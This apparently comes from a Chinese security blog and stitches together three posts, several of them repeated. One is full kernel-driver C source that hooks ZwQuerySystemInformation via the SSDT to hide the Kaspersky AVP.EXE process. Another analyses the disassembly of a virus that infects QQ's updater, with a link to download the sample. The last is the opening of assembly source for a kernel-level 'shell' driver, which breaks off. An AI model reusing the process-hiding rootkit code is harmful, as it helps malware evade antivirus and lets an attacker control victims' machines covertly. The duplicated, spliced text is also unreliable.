Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS ;
}
VOID
HidefileUnload(
IN PDRIVER_OBJECT DriverObject
)
{
//恢复ZwQuerySystemInformation入口
__asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = \
OriZwQuerySystemInformation ;
__asm sti
}
/*
##################################################################
自定义的ZwQuerySystemInformation
过滤掉指定的进程
##################################################################
*/
NTSTATUS
NewZwQuerySystemInformation(ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS ntStatus ;
ANSI_STRING ProcName ;
ntStatus = OriZwQuerySystemInformation(SystemInformationCLass, \
SystemInformation, \
SystemInformationLength, \
ReturnLength) ;
//如果执行成功
if (NT_SUCCESS(ntStatus))
{
//如果是SystemProcessedAndThreadsInformation
if (5 == SystemInformationCLass)
{
struct _SYSTEM_PROCESSES *pCurrSP = (struct _SYSTEM_PROCESSES *)SystemInformation ;//当前指针
struct _SYSTEM_PROCESSES *pPrevSP = NULL ;//上一个指针
//遍历进程链表,过滤指定的进程名
while(pCurrSP)
{
RtlUnicodeStringToAnsiString(&ProcName, &pCurrSP->ProcessName, TRUE) ;
if ((0 <> ProcName.Length))
{
//隐藏AVP的进程
if (!memcmp(ProcName.Buffer, "AVP.EXE", 11))
{
DbgPrint("Can You Find The AVP? ;-)") ;
//遍历进程链表
if (pPrevSP)
{
if (pCurrSP->NextEntryDelta)//是中间的进程
{
pPrevSP->NextEntryDelta += pCurrSP->NextEntryDelta ;
}
else//是末尾的进程
{
pPrevSP->NextEntryDelta = 0 ;
}
}
else
{
if (pCurrSP->NextEntryDelta) //是链表中第一个进程
{
(unsigned char *)SystemInformation += pCurrSP->NextEntryDelta ;
}
else //是链表中的唯一一个进程
{
SystemInformation = NULL ;
}
}
}
}
RtlFreeAnsiString(&ProcName);
pPrevSP = pCurrSP ;
if (pCurrSP->NextEntryDelta)
{
(unsigned char *)pCurrSP += pCurrSP->NextEntryDelta ;
}
else
{
pCurrSP = NULL ;
}
}
}
}
return ntStatus ;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
int i = 0 ;
DbgPrint("Driver Loaded Success!") ;
for (; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = HidefileDispatch ;
}
DriverObject->DriverUnload = HidefileUnload ;
OriZwQuerySystemInformation = \
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) ;
__asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation)) = \
NewZwQuerySystemInformation ;
__asm sti
return STATUS_SUCCESS ;
}
##################################################################
HideProc.C
Author :robinh00d[F-13 Lab]
Email :cr4zyexpl0rer_at_gmail.com
HomePage :http://cr4zyexpl0rer.googlepages.com
Last Updated :2006-03-23
个人练习之作,都是几年前的老技术了
基本上是copy别人的代码
通过HOOK SSDT来实现对指定进程的隐藏
windows自带的任务管理器以及PSAPI都是利用ZwQuerySystemInformation
来实现进程的遍历
##################################################################
*/
#include "dbghelp.h"
#include "HideProc.h"
#include "ntddk.h"
#include "stdlib.h"
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t ;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable ;
#define SYSTEMSERVICE(_fun) KeServiceDescriptorTable.ServiceTableBase[*(PLONG) ((PUCHAR)_fun +1)]
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
} ;
typedef NTSTATUS
(*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
) ;
ZWQUERYSYSTEMINFORMATION OriZwQuerySystemInformation ;
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength) ;
VOID HidefileUnload(IN PDRIVER_OBJECT DriverObject) ;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) ;
NTSTATUS HidefileDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) ;
#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, HidefileDispatch)
#pragma alloc_text(PAGE, HidefileUnload)
#endif // ALLOC_PRAGMA
NTSTATUS
HidefileDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS ;
}
VOID
HidefileUnload(
IN PDRIVER_OBJECT DriverObject
)
{
//恢复ZwQuerySystemInformation入口
__asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = \
OriZwQuerySystemInformation ;
__asm sti
}
/*
##################################################################
自定义的ZwQuerySystemInformation
过滤掉指定的进程
##################################################################
*/
NTSTATUS
NewZwQuerySystemInformation(ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS ntStatus ;
ANSI_STRING ProcName ;
ntStatus = OriZwQuerySystemInformation(SystemInformationCLass, \
SystemInformation, \
SystemInformationLength, \
ReturnLength) ;
//如果执行成功
if (NT_SUCCESS(ntStatus))
{
//如果是SystemProcessedAndThreadsInformation
if (5 == SystemInformationCLass)
{
struct _SYSTEM_PROCESSES *pCurrSP = (struct _SYSTEM_PROCESSES *)SystemInformation ;//当前指针
struct _SYSTEM_PROCESSES *pPrevSP = NULL ;//上一个指针
//遍历进程链表,过滤指定的进程名
while(pCurrSP)
{
RtlUnicodeStringToAnsiString(&ProcName, &pCurrSP->ProcessName, TRUE) ;
if ((0 <> ProcName.Length))
{
//隐藏AVP的进程
if (!memcmp(ProcName.Buffer, "AVP.EXE", 11))
{
DbgPrint("Can You Find The AVP? ;-)") ;
//遍历进程链表
if (pPrevSP)
{
if (pCurrSP->NextEntryDelta)//是中间的进程
{
pPrevSP->NextEntryDelta += pCurrSP->NextEntryDelta ;
}
else//是末尾的进程
{
pPrevSP->NextEntryDelta = 0 ;
}
}
else
{
if (pCurrSP->NextEntryDelta) //是链表中第一个进程
{
(unsigned char *)SystemInformation += pCurrSP->NextEntryDelta ;
}
else //是链表中的唯一一个进程
{
SystemInformation = NULL ;
}
}
}
}
RtlFreeAnsiString(&ProcName);
pPrevSP = pCurrSP ;
if (pCurrSP->NextEntryDelta)
{
(unsigned char *)pCurrSP += pCurrSP->NextEntryDelta ;
}
else
{
pCurrSP = NULL ;
}
}
}
}
return ntStatus ;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
int i = 0 ;
DbgPrint("Driver Loaded Success!") ;
for (; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
DriverObject->MajorFunction[i] = HidefileDispatch ;
}
DriverObject->DriverUnload = HidefileUnload ;
OriZwQuerySystemInformation = \
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) ;
__asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation)) = \
NewZwQuerySystemInformation ;
__asm sti
return STATUS_SUCCESS ;
}
一个“壳感染”病毒的分析
作者:Robinh00d
最近几个月,互联网上突然出现大量的感染式的病毒比如威金、熊猫烧香等,这些病毒都是使用了文件捆绑的方式实现的感染,清除起来比较容易。近日,我偶然获得了一个比较特殊的病毒样本,被感染的是QQ的在线升级程序,它并没有采用前面所说的“捆绑式”感染,而是采用了“壳”的技术实现的感染,比较新颖,下面是我对这个病毒进行的分析:
【样本下载地址】http://cr4zyexpl0rer.googlepages.com/NewVirus.rar
【分析环境】VMWARE+WINDOWS XP SP2+OLLYDBG+PEID+PEInfo
首先用PEID扫描一下没有扫描出壳或者编译器特征,入口点RVA是0x70000,进一步使用PE分析工具查看关键的数据信息,我这里使用的是PEInfo:可以看到,代码入口不是在常规的.text节里而是在.rdata节里
再看输入表信息:输入表的RVA是0x70660,程序只导入了kernel32.dll里的GetProcAddress和LoadLibraryA这两个函数。
下面是详细的代码分析:
; 重定位到当前导入表
00470005 68 90184000 PUSH QQLiveUp.00401890
0047000A E8 71020000 CALL QQLiveUp.00470280
QQLiveUp.00470280这个函数的作用就是重定位地址:
00470280 55 PUSH EBP
00470281 8BEC MOV EBP, ESP
00470283 E8 00000000 CALL QQLiveUp.00470288 ;典型的重定位
00470288 58 POP EAX
00470289 2D B8144000 SUB EAX, QQLiveUp.004014B8
0047028E 0345 08 ADD EAX, DWORD PTR SS:[EBP+8] ;要重定位的地址
00470291 5D POP EBP
00470292 C3 RETN
上面的代码是病毒经常使用的重定位,汇编格式就是这样:
call delta
delta:
pop ebx
sub ebx,offset delta
00470280函数的函数原型就是
DWORD ReAllocAddr(DWORD dwAddr) ;其中参数是要重定位的地址
; 这里保存的就是宿主程序的入口点
00470015 8DB8 80000000 LEA EDI, DWORD PTR DS:[EAX+80]
; 指向病毒的导入表
0047001B 894424 60 MOV DWORD PTR SS:[ESP+60], EAX
0047001F 894C24 2C MOV DWORD PTR SS:[ESP+2C], ECX
00470023 8B09 MOV ECX, DWORD PTR DS:[ECX]
; ESI指向病毒导入表,后面程序会频繁用到
00470025 8BF0 MOV ESI, EAX
00470027 8B07 MOV EAX, DWORD PTR DS:[EDI]
00470029 83C4 04 ADD ESP, 4
0047002C 85C9 TEST ECX, ECX
0047002E 894C24 24 MOV DWORD PTR SS:[ESP+24], ECX
00470032 897C24 20 MOV DWORD PTR SS:[ESP+20], EDI
; 得到原程序入口
00470036 894424 1C MOV DWORD PTR SS:[ESP+1C], EAX
0047003A 74 0A JE SHORT QQLiveUp.00470046
0047003C 8B4C24 64 MOV ECX, DWORD PTR SS:[ESP+64]
00470040 894C24 08 MOV DWORD PTR SS:[ESP+8], ECX
00470044 EB 19 JMP SHORT QQLiveUp.0047005F
; 重定位到病毒入口点
00470046 68 30124000 PUSH QQLiveUp.00401230
0047004B E8 30020000 CALL QQLiveUp.00470280
; 保存了当前节的VirtualAddress
00470050 8B8E 88000000 MOV ECX, DWORD PTR DS:[ESI+88]
00470056 83C4 04 ADD ESP, 4
; 得到程序的基址BaseAddress
00470059 2BC1 SUB EAX, ECX
0047005B 894424 08 MOV DWORD PTR SS:[ESP+8], EAX
;用宿主的基址加上宿主入口的RVA得到宿主程序的入口地址(VirtualAddress)
;病毒执行完后将跳回该地址
0047005F 8B07 MOV EAX, DWORD PTR DS:[EDI]
00470061 8B5424 08 MOV EDX, DWORD PTR SS:[ESP+8]
00470065 8B8E 38010000 MOV ECX, DWORD PTR DS:[ESI+138]
0047006B 03C2 ADD EAX, EDX
0047006D 85C9 TEST ECX, ECX
0047006F 894424 2C MOV DWORD PTR SS:[ESP+2C], EAX
;载入kernel32.dll和user32.dll
;动态获取病毒需要的API地址
;但是病毒只用到了WinExec
; 获取CreateFile的地址(其他函数的获取过程和下面的代码一样,故略去)
0047009D 8D8E 90000000 LEA ECX, DWORD PTR DS:[ESI+90]
004700A3 51 PUSH ECX
004700A4 57 PUSH EDI
004700A5 FFD3 CALL NEAR EBX
下面的代码的作用就是模拟系统Loader,获取函数地址写入IAT中
; 得到宿主程序的IMAGE_IMPORT_DESCRIPTOR
IMAGE_IMPORT_DESCRIPTOR的结构如下:
typedef struct _IMAGE_IMPORT_DESCRIPTOR{
union { //OFFSET 0
DWORD Characteristics ;
DWORD OriginalFirstThunk ;
};
DWORD TimeDateStamp ; //OFFSET 0x4
DWORD ForwarderChain ; //OFFSET 0x8
DWORD Name ; //OFFSET 0xC
DWORD FirstThunk ; //OFFSET 0x10
} IMAGE_IMPORT_DESCRIPTOR ;
;指向宿主的IMAGE_IMPORT_DESCRIPTOR
00470117 8B5424 10 MOV EDX, DWORD PTR SS:[ESP+10]
0047011B 894424 60 MOV DWORD PTR SS:[ESP+60], EAX
0047011F 8BBE 84000000 MOV EDI, DWORD PTR DS:[ESI+84]
00470125 03FA ADD EDI, EDX
00470127 897C24 18 MOV DWORD PTR SS:[ESP+18], EDI
;得到IMAGE_IMPORT_DESCRIPTOR的Name,也就是DLL的名字的RVA
0047012B 8B47 0C MOV EAX, DWORD PTR DS:[EDI+C] ; Name
0047012E 85C0 TEST EAX, EAX
00470130 0F84 98000000 JE QQLiveUp.004701CE
00470136 EB 04 JMP SHORT QQLiveUp.0047013C
00470138 8B6C24 1C MOV EBP, DWORD PTR SS:[ESP+1C]
0047013C 8B0F MOV ECX, DWORD PTR DS:[EDI]
;得到IMAGE_IMPORT_DESCRIPTOR的FirstThunk
0047013E 8B57 10 MOV EDX, DWORD PTR DS:[EDI+10]
00470141 85C9 TEST ECX, ECX
00470143 894C24 14 MOV DWORD PTR SS:[ESP+14], ECX
00470147 895424 20 MOV DWORD PTR SS:[ESP+20], EDX
0047014B 75 04 JNZ SHORT QQLiveUp.00470151
0047014D 895424 14 MOV DWORD PTR SS:[ESP+14], EDX
;载入IMAGE_IMPORT_DESCRIPTOR中指定的DLL
00470151 8B4C24 10 MOV ECX, DWORD PTR SS:[ESP+10]
00470155 03C1 ADD EAX, ECX
00470157 50 PUSH EAX
00470158 FFD5 CALL NEAR EBP ; 调用kernel32.LoadLibraryA
0047015A 8BE8 MOV EBP, EAX
0047015C 85ED TEST EBP, EBP
0047015E 75 05 JNZ SHORT QQLiveUp.00470165
00470160 50 PUSH EAX
00470161 FF5424 5C CALL NEAR DWORD PTR SS:[ESP+5C]
;得到IMAGE_IMPORT_DESCRIPTOR的OriginalFirstThunk的地址
00470165 8B4C24 10 MOV ECX, DWORD PTR SS:[ESP+10] ; BaseAddress
00470169 8B5424 14 MOV EDX, DWORD PTR SS:[ESP+14] ; OriginalFirstThunk
0047016D 8D040A LEA EAX, DWORD PTR DS:[EDX+ECX]
00470170 8B140A MOV EDX, DWORD PTR DS:[EDX+ECX]
00470173 85D2 TEST EDX, EDX
00470175 74 45 JE SHORT QQLiveUp.004701BC
; 得到IAT的地址
00470177 8BF8 MOV EDI, EAX
00470179 8B4424 20 MOV EAX, DWORD PTR SS:[ESP+20]
0047017D 03C1 ADD EAX, ECX
0047017F 894424 14 MOV DWORD PTR SS:[ESP+14], EAX
00470183 EB 04 JMP SHORT QQLiveUp.00470189
00470185 8B4C24 10 MOV ECX, DWORD PTR SS:[ESP+10]
;是以序号导入还是以名字导入
00470189 8B07 MOV EAX, DWORD PTR DS:[EDI]
0047018B A9 00000080 TEST EAX, 80000000
00470190 74 08 JE SHORT QQLiveUp.0047019A
; 以序号导入
00470192 25 FFFF0000 AND EAX, 0FFFF
00470197 50 PUSH EAX
00470198 EB 05 JMP SHORT QQLiveUp.0047019F
; 以名字导入
0047019A 8D4C08 02 LEA ECX, DWORD PTR DS:[EAX+ECX+2]
0047019E 51 PUSH ECX
;加载DLL
0047019F 55 PUSH EBP
004701A0 FFD3 CALL NEAR EBX ; 调用kernel32.GetProcAddress
;把上面获取的函数地址写入宿主的IAT中(也就是FirstThunk指向的数组)
004701A2 83C7 04 ADD EDI, 4
004701A5 8B4C24 14 MOV ECX, DWORD PTR SS:[ESP+14]
004701A9 8901 MOV DWORD PTR DS:[ECX], EAX
004701AB 8B07 MOV EAX, DWORD PTR DS:[EDI]
004701AD 83C1 04 ADD ECX, 4
004701B0 85C0 TEST EAX, EAX
004701B2 894C24 14 MOV DWORD PTR SS:[ESP+14], ECX
004701B6 ^75 CD JNZ SHORT QQLiveUp.00470185
; 指向下一个IMAGE_IMPORT_DESCRIPTOR
004701B8 8B7C24 18 MOV EDI, DWORD PTR SS:[ESP+18]
004701BC 8B47 20 MOV EAX, DWORD PTR DS:[EDI+20]
004701BF 83C7 14 ADD EDI, 14
004701C2 85C0 TEST EAX, EAX
004701C4 897C24 18 MOV DWORD PTR SS:[ESP+18], EDI
004701C8 ^0F85 6AFFFFFF JNZ QQLiveUp.00470138
;执行病毒程序,由于我手头上没有该程序,因此没有分析
;可以猜测这个svchost.exe就是病毒的主程序,并向其他可执行文件插入感染代码
0047022F 51 PUSH ECX ;C:\WINDOWS\system32\IME\svchost.exe
00470230 FF50 24 CALL NEAR DWORD PTR DS:[EAX+24] ;调用WinExec
00470233 B8 01000000 MOV EAX, 1
00470238 C3 RETN
;返回到宿主文件入口
0047020A 51 PUSH ECX
0047020B 8B4C24 68 MOV ECX, DWORD PTR SS:[ESP+68]
0047020F 52 PUSH EDX
00470210 51 PUSH ECX
00470211 FFD0 CALL NEAR EAX ; 返回到宿主文件入口
以上基本上把这个病毒的流程给分析完了,可以看出,这个病毒代码很像一个简单的壳,只不过比普通的壳多了执行病毒文件的功能。
最近几个月,互联网上突然出现大量的感染式的病毒比如威金、熊猫烧香等,这些病毒都是使用了文件捆绑的方式实现的感染,清除起来比较容易。近日,我偶然获得了一个比较特殊的病毒样本,被感染的是QQ的在线升级程序,它并没有采用前面所说的“捆绑式”感染,而是采用了“壳”的技术实现的感染,比较新颖,下面是我对这个病毒进行的分析:
【样本下载地址】http://cr4zyexpl0rer.googlepages.com/NewVirus.rar
【分析环境】VMWARE+WINDOWS XP SP2+OLLYDBG+PEID+PEInfo
首先用PEID扫描一下没有扫描出壳或者编译器特征,入口点RVA是0x70000,进一步使用PE分析工具查看关键的数据信息,我这里使用的是PEInfo:可以看到,代码入口不是在常规的.text节里而是在.rdata节里
再看输入表信息:输入表的RVA是0x70660,程序只导入了kernel32.dll里的GetProcAddress和LoadLibraryA这两个函数。
下面是详细的代码分析:
; 重定位到当前导入表
00470005 68 90184000 PUSH QQLiveUp.00401890
0047000A E8 71020000 CALL QQLiveUp.00470280
QQLiveUp.00470280这个函数的作用就是重定位地址:
00470280 55 PUSH EBP
00470281 8BEC MOV EBP, ESP
00470283 E8 00000000 CALL QQLiveUp.00470288 ;典型的重定位
00470288 58 POP EAX
00470289 2D B8144000 SUB EAX, QQLiveUp.004014B8
0047028E 0345 08 ADD EAX, DWORD PTR SS:[EBP+8] ;要重定位的地址
00470291 5D POP EBP
00470292 C3 RETN
上面的代码是病毒经常使用的重定位,汇编格式就是这样:
call delta
delta:
pop ebx
sub ebx,offset delta
00470280函数的函数原型就是
DWORD ReAllocAddr(DWORD dwAddr) ;其中参数是要重定位的地址
; 这里保存的就是宿主程序的入口点
00470015 8DB8 80000000 LEA EDI, DWORD PTR DS:[EAX+80]
; 指向病毒的导入表
0047001B 894424 60 MOV DWORD PTR SS:[ESP+60], EAX
0047001F 894C24 2C MOV DWORD PTR SS:[ESP+2C], ECX
00470023 8B09 MOV ECX, DWORD PTR DS:[ECX]
; ESI指向病毒导入表,后面程序会频繁用到
00470025 8BF0 MOV ESI, EAX
00470027 8B07 MOV EAX, DWORD PTR DS:[EDI]
00470029 83C4 04 ADD ESP, 4
0047002C 85C9 TEST ECX, ECX
0047002E 894C24 24 MOV DWORD PTR SS:[ESP+24], ECX
00470032 897C24 20 MOV DWORD PTR SS:[ESP+20], EDI
; 得到原程序入口
00470036 894424 1C MOV DWORD PTR SS:[ESP+1C], EAX
0047003A 74 0A JE SHORT QQLiveUp.00470046
0047003C 8B4C24 64 MOV ECX, DWORD PTR SS:[ESP+64]
00470040 894C24 08 MOV DWORD PTR SS:[ESP+8], ECX
00470044 EB 19 JMP SHORT QQLiveUp.0047005F
; 重定位到病毒入口点
00470046 68 30124000 PUSH QQLiveUp.00401230
0047004B E8 30020000 CALL QQLiveUp.00470280
; 保存了当前节的VirtualAddress
00470050 8B8E 88000000 MOV ECX, DWORD PTR DS:[ESI+88]
00470056 83C4 04 ADD ESP, 4
; 得到程序的基址BaseAddress
00470059 2BC1 SUB EAX, ECX
0047005B 894424 08 MOV DWORD PTR SS:[ESP+8], EAX
;用宿主的基址加上宿主入口的RVA得到宿主程序的入口地址(VirtualAddress)
;病毒执行完后将跳回该地址
0047005F 8B07 MOV EAX, DWORD PTR DS:[EDI]
00470061 8B5424 08 MOV EDX, DWORD PTR SS:[ESP+8]
00470065 8B8E 38010000 MOV ECX, DWORD PTR DS:[ESI+138]
0047006B 03C2 ADD EAX, EDX
0047006D 85C9 TEST ECX, ECX
0047006F 894424 2C MOV DWORD PTR SS:[ESP+2C], EAX
;载入kernel32.dll和user32.dll
;动态获取病毒需要的API地址
;但是病毒只用到了WinExec
; 获取CreateFile的地址(其他函数的获取过程和下面的代码一样,故略去)
0047009D 8D8E 90000000 LEA ECX, DWORD PTR DS:[ESI+90]
004700A3 51 PUSH ECX
004700A4 57 PUSH EDI
004700A5 FFD3 CALL NEAR EBX
下面的代码的作用就是模拟系统Loader,获取函数地址写入IAT中
; 得到宿主程序的IMAGE_IMPORT_DESCRIPTOR
IMAGE_IMPORT_DESCRIPTOR的结构如下:
typedef struct _IMAGE_IMPORT_DESCRIPTOR{
union { //OFFSET 0
DWORD Characteristics ;
DWORD OriginalFirstThunk ;
};
DWORD TimeDateStamp ; //OFFSET 0x4
DWORD ForwarderChain ; //OFFSET 0x8
DWORD Name ; //OFFSET 0xC
DWORD FirstThunk ; //OFFSET 0x10
} IMAGE_IMPORT_DESCRIPTOR ;
;指向宿主的IMAGE_IMPORT_DESCRIPTOR
00470117 8B5424 10 MOV EDX, DWORD PTR SS:[ESP+10]
0047011B 894424 60 MOV DWORD PTR SS:[ESP+60], EAX
0047011F 8BBE 84000000 MOV EDI, DWORD PTR DS:[ESI+84]
00470125 03FA ADD EDI, EDX
00470127 897C24 18 MOV DWORD PTR SS:[ESP+18], EDI
;得到IMAGE_IMPORT_DESCRIPTOR的Name,也就是DLL的名字的RVA
0047012B 8B47 0C MOV EAX, DWORD PTR DS:[EDI+C] ; Name
0047012E 85C0 TEST EAX, EAX
00470130 0F84 98000000 JE QQLiveUp.004701CE
00470136 EB 04 JMP SHORT QQLiveUp.0047013C
00470138 8B6C24 1C MOV EBP, DWORD PTR SS:[ESP+1C]
0047013C 8B0F MOV ECX, DWORD PTR DS:[EDI]
;得到IMAGE_IMPORT_DESCRIPTOR的FirstThunk
0047013E 8B57 10 MOV EDX, DWORD PTR DS:[EDI+10]
00470141 85C9 TEST ECX, ECX
00470143 894C24 14 MOV DWORD PTR SS:[ESP+14], ECX
00470147 895424 20 MOV DWORD PTR SS:[ESP+20], EDX
0047014B 75 04 JNZ SHORT QQLiveUp.00470151
0047014D 895424 14 MOV DWORD PTR SS:[ESP+14], EDX
;载入IMAGE_IMPORT_DESCRIPTOR中指定的DLL
00470151 8B4C24 10 MOV ECX, DWORD PTR SS:[ESP+10]
00470155 03C1 ADD EAX, ECX
00470157 50 PUSH EAX
00470158 FFD5 CALL NEAR EBP ; 调用kernel32.LoadLibraryA
0047015A 8BE8 MOV EBP, EAX
0047015C 85ED TEST EBP, EBP
0047015E 75 05 JNZ SHORT QQLiveUp.00470165
00470160 50 PUSH EAX
00470161 FF5424 5C CALL NEAR DWORD PTR SS:[ESP+5C]
;得到IMAGE_IMPORT_DESCRIPTOR的OriginalFirstThunk的地址
00470165 8B4C24 10 MOV ECX, DWORD PTR SS:[ESP+10] ; BaseAddress
00470169 8B5424 14 MOV EDX, DWORD PTR SS:[ESP+14] ; OriginalFirstThunk
0047016D 8D040A LEA EAX, DWORD PTR DS:[EDX+ECX]
00470170 8B140A MOV EDX, DWORD PTR DS:[EDX+ECX]
00470173 85D2 TEST EDX, EDX
00470175 74 45 JE SHORT QQLiveUp.004701BC
; 得到IAT的地址
00470177 8BF8 MOV EDI, EAX
00470179 8B4424 20 MOV EAX, DWORD PTR SS:[ESP+20]
0047017D 03C1 ADD EAX, ECX
0047017F 894424 14 MOV DWORD PTR SS:[ESP+14], EAX
00470183 EB 04 JMP SHORT QQLiveUp.00470189
00470185 8B4C24 10 MOV ECX, DWORD PTR SS:[ESP+10]
;是以序号导入还是以名字导入
00470189 8B07 MOV EAX, DWORD PTR DS:[EDI]
0047018B A9 00000080 TEST EAX, 80000000
00470190 74 08 JE SHORT QQLiveUp.0047019A
; 以序号导入
00470192 25 FFFF0000 AND EAX, 0FFFF
00470197 50 PUSH EAX
00470198 EB 05 JMP SHORT QQLiveUp.0047019F
; 以名字导入
0047019A 8D4C08 02 LEA ECX, DWORD PTR DS:[EAX+ECX+2]
0047019E 51 PUSH ECX
;加载DLL
0047019F 55 PUSH EBP
004701A0 FFD3 CALL NEAR EBX ; 调用kernel32.GetProcAddress
;把上面获取的函数地址写入宿主的IAT中(也就是FirstThunk指向的数组)
004701A2 83C7 04 ADD EDI, 4
004701A5 8B4C24 14 MOV ECX, DWORD PTR SS:[ESP+14]
004701A9 8901 MOV DWORD PTR DS:[ECX], EAX
004701AB 8B07 MOV EAX, DWORD PTR DS:[EDI]
004701AD 83C1 04 ADD ECX, 4
004701B0 85C0 TEST EAX, EAX
004701B2 894C24 14 MOV DWORD PTR SS:[ESP+14], ECX
004701B6 ^75 CD JNZ SHORT QQLiveUp.00470185
; 指向下一个IMAGE_IMPORT_DESCRIPTOR
004701B8 8B7C24 18 MOV EDI, DWORD PTR SS:[ESP+18]
004701BC 8B47 20 MOV EAX, DWORD PTR DS:[EDI+20]
004701BF 83C7 14 ADD EDI, 14
004701C2 85C0 TEST EAX, EAX
004701C4 897C24 18 MOV DWORD PTR SS:[ESP+18], EDI
004701C8 ^0F85 6AFFFFFF JNZ QQLiveUp.00470138
;执行病毒程序,由于我手头上没有该程序,因此没有分析
;可以猜测这个svchost.exe就是病毒的主程序,并向其他可执行文件插入感染代码
0047022F 51 PUSH ECX ;C:\WINDOWS\system32\IME\svchost.exe
00470230 FF50 24 CALL NEAR DWORD PTR DS:[EAX+24] ;调用WinExec
00470233 B8 01000000 MOV EAX, 1
00470238 C3 RETN
;返回到宿主文件入口
0047020A 51 PUSH ECX
0047020B 8B4C24 68 MOV ECX, DWORD PTR SS:[ESP+68]
0047020F 52 PUSH EDX
00470210 51 PUSH ECX
00470211 FFD0 CALL NEAR EAX ; 返回到宿主文件入口
以上基本上把这个病毒的流程给分析完了,可以看出,这个病毒代码很像一个简单的壳,只不过比普通的壳多了执行病毒文件的功能。
2007年4月10日星期二
一个内核级的SHELL工具源代码
驱动部分
;@echo off
;goto make
;********************************************************************
;author :dge
;homepage:http://llfdge.googlepages.com/
;date :2007.3.16
;********************************************************************
.386
.model flat, stdcall
option casemap:none
include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\ntoskrnl.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac
include common.inc
_DispatchCreateClose proto :PDEVICE_OBJECT,:PIRP
_DriverUnload proto :PDRIVER_OBJECT
_DispatchControl proto :PDEVICE_OBJECT,:PIRP
.const
CCOUNTED_UNICODE_STRING "\\Device\\devFHF", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slFHF", g_usSymbolicLinkName, 4
.data
szDos db '\DosDevices\',0
.code
_SetEventComp proc uses esi edi,pDeviceObject:PDEVICE_OBJECT,pIrp:PIRP,event
mov esi,pIrp
assume esi : ptr _IRP
push [esi].IoStatus.Status
mov edi,[esi].UserIosb
assume edi : ptr IO_STATUS_BLOCK
pop [edi].Status
push [esi].IoStatus.Information
pop [edi].Information
invoke KeSetEvent,[esi].UserEvent,0,FALSE
assume esi:nothing
assume edi:nothing
invoke IoFreeIrp,pIrp
mov eax,STATUS_MORE_PROCESSING_REQUIRED
ret
_SetEventComp endp
DriverEntry proc uses esi, pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
local status : NTSTATUS
local pDeviceObject : PDEVICE_OBJECT
; int 3
invoke DbgPrint, $CTA0("Entry DriverEntry \n")
mov status, STATUS_DEVICE_CONFIGURATION_ERROR
invoke IoCreateDevice, pDriverObject,NULL, addr g_usDeviceName,\
FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
.if eax==STATUS_SUCCESS
mov esi, pDeviceObject
assume esi : ptr DEVICE_OBJECT
invoke IoCreateSymbolicLink,addr g_usSymbolicLinkName, addr g_usDeviceName
.if eax==STATUS_SUCCESS
mov eax, pDriverObject
assume eax:ptr DRIVER_OBJECT
mov [eax].DriverUnload, offset _DriverUnload
mov [eax].MajorFunction[IRP_MJ_CREATE*(sizeof PVOID)], offset _DispatchCreateClose
mov [eax].MajorFunction[IRP_MJ_CLOSE*(sizeof PVOID)], offset _DispatchCreateClose
